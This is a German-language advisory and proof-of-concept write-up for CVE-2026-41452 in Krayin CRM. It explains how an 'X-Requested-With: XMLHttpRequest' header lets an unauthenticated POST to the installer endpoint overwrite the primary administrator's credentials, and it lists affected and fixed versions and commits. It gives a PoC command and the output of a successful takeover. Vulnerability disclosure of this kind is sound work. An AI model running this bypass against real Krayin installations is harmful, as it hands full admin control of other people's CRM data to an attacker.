
CVE-2026-41452 — Krayin CRM nicht authentifizierter Installer-Bypass (X-Requested-With) → Admin-Übernahme. Verifiziert: Überschreiben + Login auf 2.2.4, blockiert auf 2.2.5
CVSS 9.8 (Critical) · CWE-287 / CWE-306 · Jiva-Writeup · VulnCheck
Der Installer von Krayin CRM legt POST /install/api/admin-config-setup (sowie run-migration,
run-seeder) ohne CSRF-Schutz offen (withoutMiddleware('web')-Gruppe). Die globale
CanInstall-Middleware blockiert die Route nur für Nicht-AJAX-Anfragen:
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
Das Senden von X-Requested-With: XMLHttpRequest überspringt die Prüfung vollständig. Der Controller
führt dann ein updateOrInsert auf den fest verdrahteten primären Administrator (user id=1) mit
vom Angreifer bereitgestellten Name/E-Mail/Passwort aus (role_id=1, status=1) → unauthentifizierte
vollständige Admin-Übernahme auf einer bereits installierten Instanz.
Betroffen: ≤ 2.2.0 und 2.2.4 (Regression). Behoben: 2.2.1 (e4eb96f5), Regression in 2.2.4
(6a7bc4cc), erneut behoben in 2.2.5 (ea4919a8). master war zum Zeitpunkt der Recherche weiterhin verwundbar.
python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'
Ablauf:
X-Requested-With: XMLHttpRequest → HTTP 200 1 → Admin (id=1) überschrieben/admin/login mit den neuen Anmeldedaten → Redirect zu /admin/dashboard[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
Vergleich mit behobenem Build: Mit v2.2.5-Dateien liefert derselbe AJAX-POST → HTTP 403 (blockiert).
Jede öffentlich erreichbare Krayin-CRM-Installation (v2.2.4 oder ≤2.2.0) kann von einem unauthentifizierten Angreifer mit einer einzigen Anfrage vollständig übernommen werden. Kein CSRF, keine Anmeldedaten, keine Interaktion erforderlich.
ea4919a8 (v2.2.5) · Regression: 6a7bc4cc (v2.2.4) · Erster Fix: e4eb96f5 (v2.2.1)